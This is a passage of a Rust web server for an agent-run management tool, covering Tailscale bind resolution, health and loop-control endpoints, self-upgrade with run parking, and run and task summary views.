1670 _ = &mut handle => break,
1671 _ = beat.tick() => {
1672 if let Some(lease) = lease.as_deref_mut() {
1673 lease.beat();
1674 }
1675 }
1676 }
1677 }
1678 updater::log_step(
1679 home,
1680 &format!(
1681 "finish_loop: the loop ended after {:.1}s",
1682 waited.elapsed().as_secs_f32()
1683 ),
1684 );
1685}
1686
1687pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1693 match bind {
1694 Bind::Addr(addr) => (*addr, None),
1695 Bind::Auto => match tailscale_ip() {
1696 Ok(ip) => (IpAddr::V4(ip), None),
1697 Err(why) => (
1698 IpAddr::V4(Ipv4Addr::LOCALHOST),
1699 Some(format!(
1700 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1701 local-only and a phone cannot reach it; start Tailscale \
1702 or pass --bind <addr>"
1703 )),
1704 ),
1705 },
1706 }
1707}
1708
1709fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1717 let out = std::process::Command::new("tailscale")
1718 .args(["ip", "-4"])
1719 .quiet()
1720 .output()
1721 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1722 if !out.status.success() {
1723 let why = String::from_utf8_lossy(&out.stderr);
1724 let why = why.trim();
1725 return Err(format!(
1726 "`tailscale ip -4` failed ({}){}",
1727 out.status,
1728 if why.is_empty() {
1729 String::new()
1730 } else {
1731 format!(": {why}")
1732 }
1733 ));
1734 }
1735 String::from_utf8_lossy(&out.stdout)
1736 .lines()
1737 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1738 .find(is_tailnet)
1739 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1740}
1741
1742fn is_tailnet(ip: &Ipv4Addr) -> bool {
1744 let o = ip.octets();
1745 o[0] == 100 && (64..=127).contains(&o[1])
1746}
1747
1748type ApiResult<T> = std::result::Result<T, ApiError>;
1752
1753#[derive(Debug)]
1755struct ApiError {
1756 status: StatusCode,
1757 message: String,
1758}
1759
1760impl ApiError {
1761 fn bad_request(message: impl Into<String>) -> Self {
1763 Self {
1764 status: StatusCode::BAD_REQUEST,
1765 message: message.into(),
1766 }
1767 }
1768
1769 fn not_found(message: impl Into<String>) -> Self {
1771 Self {
1772 status: StatusCode::NOT_FOUND,
1773 message: message.into(),
1774 }
1775 }
1776
1777 fn with_status(mut self, status: StatusCode) -> Self {
1780 self.status = status;
1781 self
1782 }
1783
1784 fn bad_request_from(e: anyhow::Error) -> Self {
1788 Self::bad_request(format!("{e:#}"))
1789 }
1790
1791 fn conflict(message: impl Into<String>) -> Self {
1792 Self {
1793 status: StatusCode::CONFLICT,
1794 message: message.into(),
1795 }
1796 }
1797
1798 fn internal(message: impl Into<String>) -> Self {
1800 Self {
1801 status: StatusCode::INTERNAL_SERVER_ERROR,
1802 message: message.into(),
1803 }
1804 }
1805}
1806
1807impl From<anyhow::Error> for ApiError {
1808 fn from(e: anyhow::Error) -> Self {
1813 Self::internal(format!("{e:#}"))
1814 }
1815}
1816
1817impl IntoResponse for ApiError {
1818 fn into_response(self) -> Response {
1819 let body = serde_json::json!({ "error": self.message });
1820 (self.status, Json(body)).into_response()
1821 }
1822}
1823
1824async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1833where
1834 T: Send + 'static,
1835{
1836 #[cfg(test)]
1837 let job = request_cost::carry(job);
1838 match tokio::task::spawn_blocking(job).await {
1839 Ok(result) => result,
1840 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1841 }
1842}
1843
1844const ASSET_CACHE: &str = "no-cache, must-revalidate";
1862
1863fn asset_etag() -> &'static str {
1870 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1871 format!(
1872 "\"{}-{}\"",
1873 env!("CARGO_PKG_VERSION"),
1874 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1879 )
1880 });
1881 &TAG
1882}
1883
1884fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1886 [
1887 (header::CONTENT_TYPE, mime),
1888 (header::CACHE_CONTROL, ASSET_CACHE),
1889 (header::ETAG, asset_etag()),
1890 ]
1891}
1892
1893fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1901 let tag = asset_etag();
1902 let known = headers
1903 .get(header::IF_NONE_MATCH)
1904 .and_then(|v| v.to_str().ok())
1905 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1909 if known {
1910 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1911 }
1912 (asset_headers(mime), body).into_response()
1913}
1914
1915async fn index(headers: header::HeaderMap) -> Response {
1916 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1917}
1918
1919async fn app_css(headers: header::HeaderMap) -> Response {
1920 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1921}
1922
1923async fn app_js(headers: header::HeaderMap) -> Response {
1924 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1925}
1926
1927#[derive(Debug, Serialize)]
1929struct HealthView {
1930 version: &'static str,
1931 home: String,
1932 queue_rev: u64,
1933 runs_rev: u64,
1934 questions_rev: u64,
1946 talks_rev: u64,
1948 notifications_rev: u64,
1950 notifications_unread: usize,
1953 loop_rev: u64,
1958 runs_unreadable: usize,
1966 disk: DiskView,
1974 questions_open: usize,
1980 questions_needs_owner: usize,
1990 daemon: DaemonView,
1991 #[serde(rename = "loop")]
1997 looping: LoopView,
1998 update: UpdateView,
2005 upgrade: Option<UpgradeProgressView>,
2009}
2010
2011#[derive(Debug, Serialize)]
2018struct UpdateView {
2019 available: bool,
2021 to: Option<String>,
2023}
2024
2025#[derive(Debug, Serialize)]
2027struct UpgradeProgressView {
2028 stage: updater::Stage,
2029 from: String,
2030 to: Option<String>,
2031 waiting_on: Option<String>,
2034 started_at: Timestamp,
2035 updated_at: Timestamp,
2036 detail: Option<String>,
2037 stuck_for_secs: Option<i64>,
2040 stuck_kind: Option<updater::StallKind>,
2043 handover_alive: bool,
2046}
2047
2048fn should_spawn_recheck(cfg: &Update) -> bool {
2055 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2056}
2057
2058fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2070 if progress.is_some_and(|p| !p.stage.terminal()) {
2071 return false;
2072 }
2073 checker.should_check()
2074}
2075
2076fn recheck_poll_period(cfg: &Update) -> Duration {
2089 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2090}
2091
2092async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2116 loop {
2117 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2118 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2119 if !should_spawn_recheck(&cfg.update) {
2120 continue;
2121 }
2122 let Some(checker) = updater::Checker::new(&cfg.update) else {
2123 continue;
2124 };
2125 let progress = updater::read_progress(&home);
2126 if !update_recheck_due(&checker, progress.as_ref()) {
2127 continue;
2128 }
2129 if let Err(e) = checker.newer_release().await {
2130 tracing::warn!("background update recheck failed: {e:#}");
2131 }
2132 }
2133}
2134
2135fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2141 let default;
2142 let cfg = match cfg {
2143 Some(cfg) => cfg,
2144 None => {
2145 default = Config::default();
2146 &default
2147 }
2148 };
2149 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2150 match latest {
2151 Some(latest) => UpdateView {
2152 available: true,
2153 to: Some(latest.tag_name),
2154 },
2155 None => UpdateView {
2156 available: false,
2157 to: None,
2158 },
2159 }
2160}
2161
2162fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2168 let now = Timestamp::now();
2169 let lease = updater::read_lease(&ui.home);
2170 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2171 let run_id = alive
2172 .and_then(|l| l.parked_run.as_deref())
2173 .or(progress.parked_run.as_deref());
2174 let parking = progress.stage == updater::Stage::Parking;
2175 let waited = alive.map_or_else(String::new, |l| {
2176 let secs = updater::waited_secs(l, now);
2177 format!(" (waited {} min so far)", secs / 60)
2178 });
2179 let run_text = run_id
2180 .filter(|_| parking)
2181 .map(|id| match read_run(&ui.runs, id).ok() {
2182 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2183 None => format!("run {id} is finishing"),
2184 });
2185 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2186 .filter(|t| parking && !t.is_empty())
2187 .map(|t| format!("{t} finishing"));
2188 let waiting_on = match (run_text, talks_text) {
2189 (None, None) => None,
2190 (run, talks) => {
2191 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2192 Some(format!(
2193 "{} before the address is handed over{waited}",
2194 parts.join(" and ")
2195 ))
2196 }
2197 };
2198 let detail = progress
2199 .detail
2200 .clone()
2201 .or_else(|| updater::read_note(&ui.home, &progress));
2202 let stalled = updater::stall(&progress, lease.as_ref(), now);
2203 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2204 UpgradeProgressView {
2205 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2206 stuck_kind: stalled.map(|s| s.kind),
2207 handover_alive: alive.is_some(),
2208 stage: progress.stage,
2209 from: progress.from,
2210 to: progress.to,
2211 waiting_on,
2212 started_at: progress.started_at,
2213 updated_at: progress.updated_at,
2214 detail,
2215 }
2216}
2217
2218#[derive(Debug, Serialize)]
2223struct DiskView {
2224 #[serde(skip_serializing_if = "Option::is_none")]
2226 free_bytes: Option<u64>,
2227 runs_bytes: u64,
2229 worktrees_bytes: u64,
2231 #[serde(skip_serializing_if = "Option::is_none")]
2233 cache_bytes: Option<u64>,
2234}
2235
2236impl DiskView {
2237 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2239 let cache_bytes = cfg
2240 .and_then(|cfg| cfg.cache_dir())
2241 .map(|dir| crate::disk::dir_size(&dir));
2242 Self {
2243 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2244 runs_bytes: crate::disk::dir_size(&ui.runs),
2245 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2246 cache_bytes,
2247 }
2248 }
2249}
2250
2251#[derive(Debug, Serialize)]
2253struct DaemonView {
2254 running: bool,
2255 idle: Option<bool>,
2256 pid: Option<u32>,
2257 current: Vec<daemon::Current>,
2261 completed: Option<u64>,
2262 stale_for_secs: Option<i64>,
2263}
2264
2265impl DaemonView {
2266 fn of(status: Option<daemon::Reading>) -> Self {
2270 let Some(status) = status else {
2271 return Self {
2272 running: false,
2273 idle: None,
2274 pid: None,
2275 current: Vec::new(),
2276 completed: None,
2277 stale_for_secs: None,
2278 };
2279 };
2280 let now = Timestamp::now();
2281 let age = status.age_secs(now);
2282 Self {
2283 running: status.running(now),
2284 idle: Some(status.idle),
2285 pid: status.pid,
2286 current: status.current,
2287 completed: Some(status.completed),
2288 stale_for_secs: age,
2289 }
2290 }
2291}
2292
2293async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2294 blocking(move || {
2295 let reading = daemon::read_status(&ui.home);
2299 let loop_rev = ui.lock_loop().rev;
2303 let cfg = deputy_config(&ui.repo);
2306 let update = cached_update_view(cfg.as_ref());
2307 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2308 Ok(Json(HealthView {
2309 version: env!("CARGO_PKG_VERSION"),
2310 home: ui.home.display().to_string(),
2311 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2312 runs_rev: runs_revision(&ui.runs),
2313 questions_rev: ui.questions.revision(),
2314 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2315 notifications_rev: ui.notices.revision(),
2316 notifications_unread: ui.notices.count_unread(),
2317 loop_rev,
2318 runs_unreadable: runs_unreadable(&ui.runs),
2319 questions_open: ui.questions.count_open(),
2320 questions_needs_owner: ui.questions.count_needs_owner(),
2321 daemon: DaemonView::of(reading.clone()),
2322 looping: ui.loop_view(reading),
2323 disk: DiskView::of(&ui, cfg.as_ref()),
2324 update,
2325 upgrade,
2326 }))
2327 })
2328 .await
2329}
2330
2331#[derive(Debug, Serialize)]
2333struct LoopView {
2334 running: bool,
2336 stopping: bool,
2344 parking: bool,
2352 owned: bool,
2360 repo: String,
2363 merge: Option<String>,
2366 last_error: Option<String>,
2374 daemon: DaemonView,
2377}
2378
2379#[derive(Debug, Clone, Copy)]
2388struct Foreign {
2389 pid: Option<u32>,
2391}
2392
2393impl Foreign {
2394 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2397 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2401 }
2402
2403 fn who(&self) -> String {
2406 match self.pid {
2407 Some(pid) => format!("another magi process (pid {pid})"),
2408 None => "another magi process".to_owned(),
2409 }
2410 }
2411}
2412
2413type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2418
2419fn launch_daemon(
2421 opts: daemon::Opts,
2422 stop: daemon::Stop,
2423) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2424 Box::pin(daemon::serve_until(opts, stop))
2425}
2426
2427#[derive(Debug, Default)]
2429struct LoopState {
2430 live: Option<Live>,
2432 rev: u64,
2440 last_error: Option<String>,
2443 resume_after_handover: bool,
2448}
2449
2450#[derive(Debug)]
2452struct Live {
2453 stop: daemon::Stop,
2455 handle: tokio::task::JoinHandle<()>,
2460 opts: daemon::Opts,
2464}
2465
2466impl Live {
2467 fn alive(&self) -> bool {
2469 !self.handle.is_finished()
2470 }
2471}
2472
2473fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2480 state.lock().unwrap_or_else(PoisonError::into_inner)
2481}
2482
2483async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2485 blocking(move || {
2486 let reading = daemon::read_status(&ui.home);
2487 Ok(Json(ui.loop_view(reading)))
2488 })
2489 .await
2490}
2491
2492#[derive(Debug, Deserialize)]
2498#[serde(deny_unknown_fields)]
2499struct LoopCommand {
2500 running: bool,
2501 #[serde(default)]
2511 park: bool,
2512}
2513
2514async fn loop_post(
2522 State(ui): State<Arc<Ui>>,
2523 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2524) -> ApiResult<Json<LoopView>> {
2525 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2528 blocking(move || {
2529 let reading = daemon::read_status(&ui.home);
2530 let foreign = Foreign::of(reading.as_ref());
2531 if body.running {
2532 ui.start_loop(foreign)?;
2533 } else {
2534 ui.stop_loop(foreign, body.park)?;
2535 }
2536 Ok(Json(ui.loop_view(reading)))
2537 })
2538 .await
2539}
2540
2541#[derive(Debug, Serialize)]
2543struct UpgradeView {
2544 from: String,
2546 to: Option<String>,
2548 parked: Option<String>,
2550 detail: String,
2552}
2553
2554fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2557 progress.filter(|p| !p.stage.terminal())
2558}
2559
2560async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2584 let reading = daemon::read_status(&ui.home);
2585 if let Some(other) = Foreign::of(reading.as_ref()) {
2586 return Err(ApiError::conflict(format!(
2587 "the loop belongs to {}, so replacing this binary would leave \
2588 that process running an old one against the same queue. Upgrade \
2589 where it was started.",
2590 other.who()
2591 )));
2592 }
2593
2594 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2599 return Err(ApiError::conflict(
2600 "another request is already preparing an upgrade",
2601 ));
2602 };
2603 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2604 return Err(ApiError::conflict(
2605 "an upgrade is already in progress (this process started one and it \
2606 has not finished or failed yet)",
2607 ));
2608 }
2609 let recorded = updater::read_progress(&ui.home);
2610 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2611 return Err(ApiError::conflict(format!(
2612 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2613 stays stuck, restart the deck; on start it settles a stale record.",
2614 p.stage.as_str(),
2615 p.from,
2616 p.to.as_deref().unwrap_or("?"),
2617 )));
2618 }
2619
2620 if crate::updater::disabled_by_env() {
2626 return Ok((
2627 StatusCode::OK,
2628 Json(UpgradeView {
2629 from: env!("CARGO_PKG_VERSION").to_owned(),
2630 to: None,
2631 parked: None,
2632 detail: format!(
2633 "Automatic updates are disabled by {}. Nothing was parked \
2634 and nothing restarted.",
2635 crate::updater::NO_AUTOUPDATE_ENV
2636 ),
2637 }),
2638 ));
2639 }
2640
2641 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2646 let from = env!("CARGO_PKG_VERSION").to_owned();
2647 let latest = match crate::updater::Checker::new(&cfg.update) {
2648 Some(checker) => checker
2649 .newer_release()
2650 .await
2651 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2652 None => None,
2653 };
2654 let Some(latest) = latest else {
2655 return Ok((
2656 StatusCode::OK,
2657 Json(UpgradeView {
2658 from,
2659 to: None,
2660 parked: None,
2661 detail: "Already on the newest release. Nothing was parked \
2662 and nothing restarted."
2663 .to_owned(),
2664 }),
2665 ));
2666 };
2667
2668 let parked = ui.park_for_upgrade()?;
2671 let detail = match &parked {
2672 Some(run) => format!(
2677 "Run {} is parking at its next step, which can take as long as \
2678 the step it is on - up to an hour for an implement wave. The \
2679 deck replaces itself once it parks, comes back, and the loop \
2680 carries that run on from where it stopped. Nothing is lost if \
2681 you close this.",
2682 crate::run::short_of(run)
2683 ),
2684 None => "The deck replaces itself and comes back. Nothing was in \
2685 flight to park."
2686 .to_owned(),
2687 };
2688
2689 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2693 progress.parked_run = parked.clone();
2694 updater::write_progress_logged(&ui.home, &progress);
2698
2699 let home = ui.home.clone();
2700 let looping = ui.looping();
2701 ui.upgrade_spawned
2702 .store(true, std::sync::atomic::Ordering::SeqCst);
2703 let spawned = Arc::clone(&ui.upgrade_spawned);
2704 tokio::spawn(async move {
2705 if let Err(e) = upgrade_and_restart(home.clone()).await {
2706 tracing::error!("the upgrade did not complete: {e:#}");
2707 lock_or_recover(&looping).resume_after_handover = false;
2708 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2712 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2715 }
2716 });
2717
2718 Ok((
2719 StatusCode::ACCEPTED,
2720 Json(UpgradeView {
2721 from,
2722 to: Some(latest.tag_name),
2723 parked,
2724 detail,
2725 }),
2726 ))
2727}
2728
2729async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2734 crate::updater::run_self_update(true, false, true).await?;
2737 updater::log_step(&home, "binary replaced - recording the replaced stage");
2738 if let Some(mut progress) = updater::read_progress(&home) {
2739 progress.advance(updater::Stage::Replaced);
2740 updater::write_progress_logged(&home, &progress);
2741 }
2742 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2743 HANDOVER.notify_one();
2744 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2745 Ok(())
2746}
2747
2748#[derive(Debug, Serialize)]
2754struct RunSummary {
2755 id: String,
2756 short: String,
2757 status: String,
2758 done: bool,
2759 instruction: String,
2760 title: String,
2761 repo: String,
2762 repo_name: String,
2763 created_at: String,
2764 updated_at: String,
2765 candidates: usize,
2766 viable: usize,
2767 judges: usize,
2768 winner: Option<char>,
2769 reviews: usize,
2770 quota_losses: usize,
2771 event: Option<String>,
2772 superseded_by: Option<String>,
2777 waiting: bool,
2784 live: crate::run::Liveness,
2788 pr: Option<crate::run::PrRecord>,
2790 unmerged_by_design: bool,
2796 #[serde(default)]
2799 display_status: String,
2800 origin_label: String,
2803}
2804
2805impl RunSummary {
2806 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2807 Self {
2808 id: state.id.clone(),
2809 short: state.short().to_owned(),
2810 status: status_word(state.status),
2811 done: state.status.done(),
2812 unmerged_by_design: state.unmerged_by_design(),
2813 display_status: run_display_status(state, waiting, live),
2814 instruction: state.instruction.clone(),
2815 title: title_from(&state.instruction, TITLE_MAX),
2816 repo: state.repo.display().to_string(),
2817 repo_name: state
2818 .repo
2819 .file_name()
2820 .map(|n| n.to_string_lossy().into_owned())
2821 .unwrap_or_default(),
2822 created_at: state.created_at.to_string(),
2823 updated_at: state.updated_at.to_string(),
2824 candidates: state.candidates.len(),
2825 viable: state.viable().len(),
2826 judges: state.config.graph.judges,
2827 winner: state.winner().map(|c| c.label),
2828 reviews: state.reviews.len(),
2829 quota_losses: state.quota.len(),
2830 event: state.events.last().map(|e| e.message.clone()),
2831 waiting,
2832 live,
2833 superseded_by: None,
2836 pr: state.pr.clone(),
2837 origin_label: crate::run::origin_label(state.origin.as_ref()),
2838 }
2839 }
2840}
2841
2842fn status_word(status: RunStatus) -> String {
2845 status.as_str().to_owned()
2849}
2850
2851fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2857 if waiting {
2858 return "waiting".to_owned();
2859 }
2860 if state.unmerged_by_design() {
2861 return "unmerged".to_owned();
2862 }
2863 if !state.status.done() && live == crate::run::Liveness::Dead {
2864 if state.parked {
2867 return "parked".to_owned();
2868 }
2869 return "stale".to_owned();
2870 }
2871 status_word(state.status)
2872}
2873
2874#[derive(Debug, Deserialize)]
2876struct ListQuery {
2877 #[serde(default)]
2878 limit: Option<usize>,
2879 ids: Option<String>,
2881}
2882
2883impl ListQuery {
2884 fn contains(&self, id: &str) -> bool {
2885 self.ids
2886 .as_ref()
2887 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2888 }
2889}
2890
2891async fn runs_list(
2892 State(ui): State<Arc<Ui>>,
2893 Query(q): Query<ListQuery>,
2894) -> ApiResult<Json<Vec<RunSummary>>> {
2895 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2896 blocking(move || {
2897 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2898 let states = run_ids(&ui.runs)
2899 .into_iter()
2900 .filter_map(|id| read_run(&ui.runs, &id).ok())
2905 .take(limit)
2906 .filter(|run| q.contains(&run.id));
2907 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2908 let summaries = summarize(
2909 states,
2910 &open_runs,
2911 &claimed,
2912 &superseded,
2913 |p| probe.borrow_mut().status(p),
2914 |p| probe.borrow_mut().started_at(p),
2915 );
2916 Ok(Json(summaries))
2917 })
2918 .await
2919}
2920
2921fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2926 let open_runs: HashSet<String> = ui
2927 .questions
2928 .list()
2929 .into_iter()
2930 .filter(|q| q.status.open())
2931 .map(|q| q.run)
2932 .collect();
2933 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2934 .into_iter()
2935 .map(|c| c.run)
2936 .collect();
2937 (open_runs, claimed, ui.queue.superseded())
2938}
2939
2940fn summarize<I, S, D>(
2946 states: I,
2947 open_runs: &HashSet<String>,
2948 claimed: &HashSet<String>,
2949 superseded: &HashMap<String, String>,
2950 mut status_q: S,
2951 mut identity_q: D,
2952) -> Vec<RunSummary>
2953where
2954 I: IntoIterator<Item = RunState>,
2955 S: FnMut(u32) -> Option<bool>,
2956 D: FnMut(u32) -> Option<String>,
2957{
2958 states
2959 .into_iter()
2960 .map(|state| {
2961 let waiting = open_runs.contains(&state.id);
2962 let live =
2963 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2964 let mut row = RunSummary::of(&state, waiting, live);
2965 row.superseded_by = state
2966 .pr_taken_over_by
2967 .as_ref()
2968 .or_else(|| superseded.get(&state.id))
2969 .map(String::as_str)
2970 .map(crate::run::short_of)
2971 .map(str::to_owned);
2972 row
2973 })
2974 .collect()
2975}
2976
2977#[derive(Debug, Serialize)]
2984struct RunDetailView {
2985 #[serde(flatten)]
2986 state: RunState,
2987 instruction_md: Vec<md::Node>,
2988 #[serde(flatten)]
2992 prose_md: RunProseMd,
2993 live: crate::run::Liveness,
3008 unmerged_by_design: bool,
3013 #[serde(default)]
3015 waiting: bool,
3016 #[serde(default)]
3018 display_status: String,
3019 done: bool,
3024 superseded_by: Option<String>,
3032 latest_attempt: Option<LatestAttempt>,
3046 task: Option<TaskRef>,
3049 origin_label: String,
3053}
3054
3055#[derive(Debug, Serialize)]
3057struct TaskRef {
3058 id: String,
3059 short: String,
3060 title: String,
3061 source_label: String,
3063 source_link: Option<SourceLink>,
3065 status: &'static str,
3067 attempts: usize,
3068 max_attempts: usize,
3069 is_latest: bool,
3071 latest: Option<RunBrief>,
3073 finished_by: Option<RunBrief>,
3075 closed_by_hand: bool,
3077}
3078
3079#[derive(Debug, PartialEq, Eq, Serialize)]
3081struct SourceLink {
3082 kind: &'static str,
3084 id: String,
3086 href: String,
3088}
3089
3090fn encode_segment(raw: &str) -> String {
3092 let mut out = String::with_capacity(raw.len());
3093 for b in raw.bytes() {
3094 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3095 out.push(b as char);
3096 } else {
3097 out.push_str(&format!("%{b:02X}"));
3098 }
3099 }
3100 out
3101}
3102
3103fn source_link(source: &Source) -> Option<SourceLink> {
3107 let Source::Agent { run, node } = source else {
3108 return None;
3109 };
3110 let (kind, route) = if node == crate::queue::CHAT_NODE {
3111 ("chat", "chat")
3112 } else {
3113 ("run", "runs")
3114 };
3115 Some(SourceLink {
3116 kind,
3117 id: run.clone(),
3118 href: format!("#/{route}/{}", encode_segment(run)),
3119 })
3120}
3121
3122#[derive(Debug, Serialize, PartialEq)]
3124struct FollowUpParent {
3125 id: String,
3126 short: String,
3127 title: String,
3128 status: &'static str,
3130 href: String,
3131}
3132
3133#[derive(Debug, Serialize, PartialEq)]
3135struct FollowUpRun {
3136 id: String,
3137 short: String,
3138 status: Option<&'static str>,
3140 href: Option<String>,
3142}
3143
3144#[derive(Debug, Serialize, PartialEq)]
3147struct FollowUpOrigin {
3148 parent: Option<FollowUpParent>,
3150 run: FollowUpRun,
3151 pr: String,
3156 findings: Vec<String>,
3157 generation: u32,
3158}
3159
3160fn followup_origin(
3163 fu: &crate::queue::FollowUp,
3164 task: impl Fn(&str) -> Option<Task>,
3165 run: impl Fn(&str) -> Option<RunState>,
3166) -> FollowUpOrigin {
3167 let parent = fu
3168 .origin_task
3169 .as_deref()
3170 .and_then(task)
3171 .map(|t| FollowUpParent {
3172 short: t.short().to_owned(),
3173 href: format!("#/tasks/{}", encode_segment(&t.id)),
3174 status: t.status.as_str(),
3175 title: t.title,
3176 id: t.id,
3177 });
3178 let state = run(&fu.run);
3179 FollowUpOrigin {
3180 parent,
3181 run: FollowUpRun {
3182 short: run::short_of(&fu.run).to_owned(),
3183 status: state.as_ref().map(|s| s.status.as_str()),
3184 href: state
3185 .is_some()
3186 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3187 id: fu.run.clone(),
3188 },
3189 pr: fu.pr.clone(),
3190 findings: fu.findings.clone(),
3191 generation: fu.generation,
3192 }
3193}
3194
3195#[derive(Debug, Serialize)]
3197struct RunBrief {
3198 id: String,
3199 short: String,
3200 status: Option<&'static str>,
3202 outcome: String,
3204}
3205
3206fn task_outcome(
3209 task: &Task,
3210 this_run: &str,
3211 max_attempts: usize,
3212 read: impl Fn(&str) -> Option<RunState>,
3213) -> TaskRef {
3214 let history = task_history(task, read);
3215 let brief = |h: &TaskRunView| RunBrief {
3216 id: h.id.clone(),
3217 short: h.short.clone(),
3218 status: h.status,
3219 outcome: h.exit.edge_label(h.status),
3220 };
3221 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3222 let latest = if is_latest {
3223 None
3224 } else {
3225 history.last().map(brief)
3226 };
3227 let done = task.status == TaskStatus::Done;
3228 let finished_by = done
3229 .then(|| {
3230 history
3231 .iter()
3232 .rev()
3233 .find(|h| {
3234 matches!(
3235 h.exit,
3236 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3237 )
3238 })
3239 .map(brief)
3240 })
3241 .flatten();
3242 TaskRef {
3243 short: task.short().to_owned(),
3244 title: task.title.clone(),
3245 id: task.id.clone(),
3246 source_label: task.source.label(),
3247 source_link: source_link(&task.source),
3248 status: task.status.as_str(),
3249 attempts: task.attempts,
3250 max_attempts,
3251 is_latest,
3252 latest,
3253 closed_by_hand: done && finished_by.is_none(),
3254 finished_by,
3255 }
3256}
3257
3258#[derive(Debug, Serialize)]
3260struct LatestAttempt {
3261 id: String,
3262 short: String,
3263 resolved: bool,
3274 status: RunStatus,
3277 done: bool,
3279}
3280
3281#[derive(Debug, Default, Serialize)]
3283struct RunProseMd {
3284 advice_md: Option<AdviceMd>,
3286 candidate_summaries_md: Vec<Vec<md::Node>>,
3288 reviews_md: Vec<RoundMd>,
3290}
3291
3292#[derive(Debug, Default, Serialize)]
3293struct AdviceMd {
3294 synthesis: Vec<md::Node>,
3295 approaches: Vec<Vec<md::Node>>,
3297}
3298
3299#[derive(Debug, Default, Serialize)]
3300struct RoundMd {
3301 reviewers: Vec<ReviewerMd>,
3303 reconsideration: Vec<Vec<md::Node>>,
3305 fix: Option<FixMd>,
3306}
3307
3308#[derive(Debug, Default, Serialize)]
3309struct ReviewerMd {
3310 summary: Vec<md::Node>,
3311 findings: Vec<Vec<md::Node>>,
3313}
3314
3315#[derive(Debug, Default, Serialize)]
3316struct FixMd {
3317 notes: Vec<md::Node>,
3318 rejected: Vec<Vec<md::Node>>,
3320}
3321
